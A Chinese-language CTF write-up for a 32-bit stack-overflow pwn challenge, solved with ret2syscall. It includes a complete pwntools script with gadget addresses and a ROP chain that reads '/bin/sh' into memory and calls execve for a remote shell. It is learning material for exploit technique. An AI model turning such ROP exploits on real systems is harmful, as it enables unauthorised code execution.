前言
这道题其实是比较简单的,而且好像有多种解法,我采用ret2syscall的解法,而攻防世界的Writeup上是使用mprotect修改权限再执行shellcode。
(博主还是菜鸟,有些知识可能理解不够透彻,有些表述可能不够严谨,欢迎大家指正,望大家多多包涵)
正文
程序保护相关信息
这个memcpy
函数很明显存在栈溢出漏洞
由于程序应该是静态编译的,而且没有开地址随机化,所以可以直接找需要的函数,但是仔细一翻可以发现并没有system
函数,也没有/bin/sh
之类的数据,所以需要自己构造一个。
最开始我是想使用用fopen打开flag文件再读取,打印出信息,但是在我尝试执行fopen的rop链时总是出现SIGSEGV错误,所以我想到了ret2syscall的解法
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell
execve("/bin/sh",NULL,NULL)
其中,该程序是 32 位,所以我们需要使得
- 系统调用号,即 eax 应该为 0xb
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
来源:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/#ret2syscall
这里就需要找到一些gadget来构造系统调用
因为目标程序应该是静态编译的,所以相关的gadget也会比较多,很容易找到用于构造的部分
(因为/bin/sh
并不在目标程序里,所以我这里先构造执行read(0,bss的某个地方,7)
)
脚本:
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('000.000.000.000', 00000)
read_plt = 0x806d510
write_plt = 0x806d580
pop3_add = 0x08062fbb
int0x80_add = 0x0806cbb5
pop_eax_ret = 0x080b89e6
pop_ebx = 0x080481c9
pop_ecx = 0x080df1b9
pop_edx = 0x0806efbb
payload = 'A' * (0x3a + 0x4) + p32(read_plt) + p32(pop3_add) + p32(0) + p32(0x80ec300) + p32(7)
payload += p32(pop_eax_ret) + p32(0xb) + p32(pop_ebx) + p32(0x80ec300) + p32(pop_ecx) + p32(0) + p32(pop_edx) + p32(0) + p32(int0x80_add)
p.sendlineafter('Size]', str(len(payload)))
p.sendafter('[YourData]', payload)
p.send('/bin/sh')
p.interactive()
总结
ret2syscall的基本使用